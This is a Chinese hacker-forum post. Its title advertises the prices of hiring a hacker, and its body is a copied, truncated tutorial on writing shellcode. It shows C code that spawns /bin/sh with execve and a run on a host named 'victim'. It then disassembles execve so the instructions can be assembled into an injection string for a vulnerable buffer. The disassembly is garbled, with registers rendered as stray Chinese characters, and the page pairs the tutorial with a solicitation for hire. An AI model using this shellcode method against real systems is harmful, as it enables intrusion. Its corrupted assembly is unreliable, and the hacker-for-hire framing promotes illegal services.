快捷导航

全国最大诚信黑客接单一般多少钱?请黑客接单一般多少...

[复制链接]
查看: 928|回复: 0

8万

主题

8万

帖子

26万

积分

论坛元老

Rank: 8Rank: 8

积分
260116
发表于 2020-10-29 00:00:00 | 显示全部楼层 |阅读模式
如何执行 /bin/sh?

在C中,spawn出一个shell的代码可能象这样:

shell.c :

#include

void main()

{

char *shell[2];

shell[0] = “/bin/sh“;

shell[1] = NULL;

execve(shell[0], shell, NULL);

}

[murat@victim murat]$ make shell

cc -W -Wall -pedantic -g shell.c -o shell

[murat@victim murat]$ ./shell

bash$

如果你看execve的man说明页($man 2 execve),你将看到execve要求一个将要执行的文件名的指针,一个NULL终止的参数数组,和一个可以为NULL的环境指针。如果你编译运行了这个输出的二进制文件,你将看到你spawn出了一个新的shell。

目前为止一切顺利……但是我们不能用这种方式spawn出一个shell,是吗?我们如何能用这种方式把这个代码放到漏洞程序里去呢?我们不能!

这给我们造成了一个新问题:我们如何能把我们的攻击代码传给漏洞程序?我们将需要在易受攻击的缓冲区传递我们的代码,它很有可能是一段shell代码。为了实现这个目标,我们必须能够把我们的shell代码用一个字符串表示。

因此,我们将列出所有的来spawn出一个shell的汇编指令,得到它们的运算码,把它们一个一个列出来,然后把它们作为一个shell生成串组装起来。

首先,让我们看看上面的代码(shell.c)在汇编中是什么样子。让我们静态编译程序(这个方法,execve系统调用也将被反汇编)然后看:

[murat@victim murat]$ gcc -static -g -o shell shell.c

[murat@victim murat]$ objdump -d shell | grep \: -A 12

0804ca10 :

804ca10: 53 pushl 離

804ca11: 8b 54 24 10 movl 0x10(%esp,1),韝

804ca15: 8b 4c 24 0c movl 0xc(%esp,1),靫

804ca19: 8b 5c 24 08 movl 0x8(%esp,1),離

804ca1d: b8 0b 00 00 00 movl $0xb,陎

804ca22: cd 80 int $0x80

804ca24: 5b popl 離

804ca25: 3d 01 f0 ff ff cmpl $0xfffff001,陎

804ca2a: 0f 83 00 02 00 jae 804cc30  

(责任编辑:网络)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

精彩推荐

让创业更简单

  • 反馈建议:XXXXXXXX
  • 客服电话:暂时没有
  • 工作时间:周一到周五9点~22点

云服务支持

黑客联盟,快速搜索

关注我们

Copyright 黑客论坛  Powered by©  技术支持: